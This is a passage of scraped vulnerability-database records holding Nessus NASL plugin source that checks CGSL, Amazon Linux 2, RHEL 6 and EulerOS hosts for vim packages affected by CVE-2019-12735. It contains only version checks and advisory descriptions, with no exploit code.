script_set_attribute(attribute:\"see_also\", value:\"http://security.gd-linux.com/notice/NS-SA-2020-0020\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade the vulnerable CGSL vim packages. Note that updated packages may not be available yet. Please contact ZTE for\nmore information.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-12735\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/06/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/03/04\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/03/08\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"NewStart CGSL Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/ZTE-CGSL/release\", \"Host/ZTE-CGSL/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/ZTE-CGSL/release\");\nif (isnull(release) || release !~ \"^CGSL (MAIN|CORE)\") audit(AUDIT_OS_NOT, \"NewStart Carrier Grade Server Linux\");\n\nif (release !~ \"CGSL MAIN 4.05\")\n audit(AUDIT_OS_NOT, 'NewStart CGSL MAIN 4.05');\n\nif (!get_kb_item(\"Host/ZTE-CGSL/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"NewStart Carrier Grade Server Linux\", cpu);\n\nflag = 0;\n\npkgs = {\n \"CGSL MAIN 4.05\": [\n \"vim-X11-7.4.629-5.el6_10.2\",\n \"vim-common-7.4.629-5.el6_10.2\",\n \"vim-debuginfo-7.4.629-5.el6_10.2\",\n \"vim-enhanced-7.4.629-5.el6_10.2\",\n \"vim-filesystem-7.4.629-5.el6_10.2\",\n \"vim-minimal-7.4.629-5.el6_10.2\"\n ]\n};\npkg_list = pkgs[release];\n\nforeach (pkg in pkg_list)\n if (rpm_check(release:\"ZTE \" + release, reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"vim\");\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-01T01:17:03", "description": "It was found that the `:source!` command was not restricted by the\nsandbox mode. If modeline was explicitly enabled, opening a specially\ncrafted text file in vim could result in arbitrary command execution.\n(CVE-2019-12735)", "edition": 16, "cvss3": {"score": 8.6, "vector": "AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"}, "published": "2019-08-12T00:00:00", "title": "Amazon Linux 2 : vim (ALAS-2019-1239)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "modified": "2021-01-02T00:00:00", "cpe": ["p-cpe:/a:amazon:linux:vim-minimal", "p-cpe:/a:amazon:linux:vim-debuginfo", "cpe:/o:amazon:linux:2", "p-cpe:/a:amazon:linux:vim-enhanced", "p-cpe:/a:amazon:linux:vim-filesystem", "p-cpe:/a:amazon:linux:vim-common", "p-cpe:/a:amazon:linux:vim-X11"], "id": "AL2_ALAS-2019-1239.NASL", "href": "https://www.tenable.com/plugins/nessus/127460", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Amazon Linux 2 Security Advisory ALAS-2019-1239.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(127460);\n script_version(\"1.3\");\n script_cvs_date(\"Date: 2019/09/24 11:01:32\");\n\n script_cve_id(\"CVE-2019-12735\");\n script_xref(name:\"ALAS\", value:\"2019-1239\");\n\n script_name(english:\"Amazon Linux 2 : vim (ALAS-2019-1239)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Amazon Linux 2 host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"It was found that the `:source!` command was not restricted by the\nsandbox mode. If modeline was explicitly enabled, opening a specially\ncrafted text file in vim could result in arbitrary command execution.\n(CVE-2019-12735)\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://alas.aws.amazon.com/AL2/ALAS-2019-1239.html\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Run 'yum update 'vim*'' to update your system.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:vim-X11\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:vim-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:vim-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:vim-enhanced\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:vim-filesystem\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:vim-minimal\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:amazon:linux:2\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/06/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/08/27\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/08/12\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Amazon Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/AmazonLinux/release\", \"Host/AmazonLinux/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/AmazonLinux/release\");\nif (isnull(release) || !strlen(release)) audit(AUDIT_OS_NOT, \"Amazon Linux\");\nos_ver = pregmatch(pattern: \"^AL(A|\\d)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Amazon Linux\");\nos_ver = os_ver[1];\nif (os_ver != \"2\")\n{\n if (os_ver == 'A') os_ver = 'AMI';\n audit(AUDIT_OS_NOT, \"Amazon Linux 2\", \"Amazon Linux \" + os_ver);\n}\n\nif (!get_kb_item(\"Host/AmazonLinux/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (rpm_check(release:\"AL2\", reference:\"vim-X11-8.1.1602-1.amzn2\")) flag++;\nif (rpm_check(release:\"AL2\", reference:\"vim-common-8.1.1602-1.amzn2\")) flag++;\nif (rpm_check(release:\"AL2\", reference:\"vim-debuginfo-8.1.1602-1.amzn2\")) flag++;\nif (rpm_check(release:\"AL2\", reference:\"vim-enhanced-8.1.1602-1.amzn2\")) flag++;\nif (rpm_check(release:\"AL2\", reference:\"vim-filesystem-8.1.1602-1.amzn2\")) flag++;\nif (rpm_check(release:\"AL2\", reference:\"vim-minimal-8.1.1602-1.amzn2\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"vim-X11 / vim-common / vim-debuginfo / vim-enhanced / etc\");\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-01T05:18:37", "description": "An update for vim is now available for Red Hat Enterprise Linux 6.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Important. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nVim (Vi IMproved) is an updated and improved version of the vi editor.\n\nSecurity Fix(es) :\n\n* vim/neovim: ':source!' command allows arbitrary command execution\nvia modelines (CVE-2019-12735)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, acknowledgments, and other related information, refer to\nthe CVE page(s) listed in the References section.", "edition": 17, "cvss3": {"score": 8.6, "vector": "AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"}, "published": "2019-07-16T00:00:00", "title": "RHEL 6 : vim (RHSA-2019:1774)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "modified": "2021-01-02T00:00:00", "cpe": ["p-cpe:/a:redhat:enterprise_linux:vim-filesystem", "p-cpe:/a:redhat:enterprise_linux:vim-X11", "p-cpe:/a:redhat:enterprise_linux:vim-common", "p-cpe:/a:redhat:enterprise_linux:vim-enhanced", "p-cpe:/a:redhat:enterprise_linux:vim-debuginfo", "cpe:/o:redhat:enterprise_linux:6", "p-cpe:/a:redhat:enterprise_linux:vim-minimal"], "id": "REDHAT-RHSA-2019-1774.NASL", "href": "https://www.tenable.com/plugins/nessus/126710", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2019:1774. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(126710);\n script_version(\"1.5\");\n script_cvs_date(\"Date: 2019/10/24 15:35:47\");\n\n script_cve_id(\"CVE-2019-12735\");\n script_xref(name:\"RHSA\", value:\"2019:1774\");\n\n script_name(english:\"RHEL 6 : vim (RHSA-2019:1774)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"An update for vim is now available for Red Hat Enterprise Linux 6.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Important. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nVim (Vi IMproved) is an updated and improved version of the vi editor.\n\nSecurity Fix(es) :\n\n* vim/neovim: ':source!' command allows arbitrary command execution\nvia modelines (CVE-2019-12735)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, acknowledgments, and other related information, refer to\nthe CVE page(s) listed in the References section.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/errata/RHSA-2019:1774\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2019-12735\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:vim-X11\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:vim-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:vim-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:vim-enhanced\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:vim-filesystem\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:vim-minimal\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:6\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/06/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/07/15\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/07/16\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 6.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2019:1774\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"vim-X11-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"vim-X11-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"vim-X11-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"vim-common-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"vim-common-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"vim-common-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"vim-debuginfo-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"vim-debuginfo-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"vim-debuginfo-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"vim-enhanced-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"vim-enhanced-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"vim-enhanced-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"vim-filesystem-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"vim-filesystem-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"vim-filesystem-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"vim-minimal-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"vim-minimal-7.4.629-5.el6_10.2\")) flag++;\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"vim-minimal-7.4.629-5.el6_10.2\")) flag++;\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"vim-X11 / vim-common / vim-debuginfo / vim-enhanced / etc\");\n }\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-07T08:59:27", "description": "According to the version of the vim packages installed, the EulerOS\ninstallation on the remote host is affected by the following\nvulnerability :\n\n - It was found that the `:source!` command was not\n restricted by the sandbox mode. If modeline was\n explicitly enabled, opening a specially crafted text\n file in vim could result in arbitrary command\n execution.(CVE-2019-12735)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 11, "cvss3": {"score": 8.6, "vector": "AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"}, "published": "2019-09-24T00:00:00", "title": "EulerOS 2.0 SP3 : vim (EulerOS-SA-2019-1997)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "modified": "2019-09-24T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:vim-filesystem", "p-cpe:/a:huawei:euleros:vim-common", "p-cpe:/a:huawei:euleros:vim-enhanced", "p-cpe:/a:huawei:euleros:vim-minimal", "cpe:/o:huawei:euleros:2.0", "p-cpe:/a:huawei:euleros:vim-X11"], "id": "EULEROS_SA-2019-1997.NASL", "href": "https://www.tenable.com/plugins/nessus/129190", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(129190);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\n \"CVE-2019-12735\"\n );\n\n script_name(english:\"EulerOS 2.0 SP3 : vim (EulerOS-SA-2019-1997)\");\n script_summary(english:\"Checks the rpm output for the updated package.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the version of the vim packages installed, the EulerOS\ninstallation on the remote host is affected by the following\nvulnerability :\n\n - It was found that the `:source!` command was not\n restricted by the sandbox mode. If modeline was\n explicitly enabled, opening a specially crafted text\n file in vim could result in arbitrary command\n execution.(CVE-2019-12735)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2019-1997\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?530970c2\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected vim package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/09/25\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/09/24\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:vim-X11\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:vim-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:vim-enhanced\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:vim-filesystem\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:vim-minimal\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0\");\n\nsp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(3)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP3\");\n\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP3\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_ARCH_NOT, \"i686 / x86_64\", cpu);\n\nflag = 0;\n\npkgs = [\"vim-X11-7.4.160-2.h6\",\n \"vim-common-7.4.160-2.h6\",\n \"vim-enhanced-7.4.160-2.h6\",\n \"vim-filesystem-7.4.160-2.h6\",\n \"vim-minimal-7.4.160-2.h6\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"3\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"vim\");\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-17T12:04:43", "description": "The remote NewStart CGSL host, running version MAIN 4.06, has vim packages installed that are affected by a\nvulnerability:\n\n - getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6\n allows remote attackers to execute arbitrary OS commands\n via the :source! command in a modeline, as demonstrated\n by execute in Vim, and assert_fails or nvim_input in\n Neovim. (CVE-2019-12735)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.", "edition": 17, "cvss3": {"score": 8.6, "vector": "AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"}, "published": "2019-09-11T00:00:00", "title": "NewStart CGSL MAIN 4.06 : vim Vulnerability (NS-SA-2019-0177)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "modified": "2019-09-11T00:00:00", "cpe": [], "id": "NEWSTART_CGSL_NS-SA-2019-0177_VIM.NASL", "href": "https://www.tenable.com/plugins/nessus/128690", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\n# The descriptive text and package checks in this plugin were\n# extracted from ZTE advisory NS-SA-2019-0177. The text\n# itself is copyright (C) ZTE, Inc.\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(128690);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/14\");\n\n script_cve_id(\"CVE-2019-12735\");\n\n script_name(english:\"NewStart CGSL MAIN 4.06 : vim Vulnerability (NS-SA-2019-0177)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote machine is affected by a vulnerability.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote NewStart CGSL host, running version MAIN 4.06, has vim packages installed that are affected by a\nvulnerability:\n\n - getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6\n allows remote attackers to execute arbitrary OS commands\n via the :source! command in a modeline, as demonstrated\n by execute in Vim, and assert_fails or nvim_input in\n Neovim. (CVE-2019-12735)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"http://security.gd-linux.com/notice/NS-SA-2019-0177\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade the vulnerable CGSL vim packages. Note that updated packages may not be available yet. Please contact ZTE for\nmore information.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-12735\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/06/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/08/29\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/09/11\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"NewStart CGSL Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/ZTE-CGSL/release\", 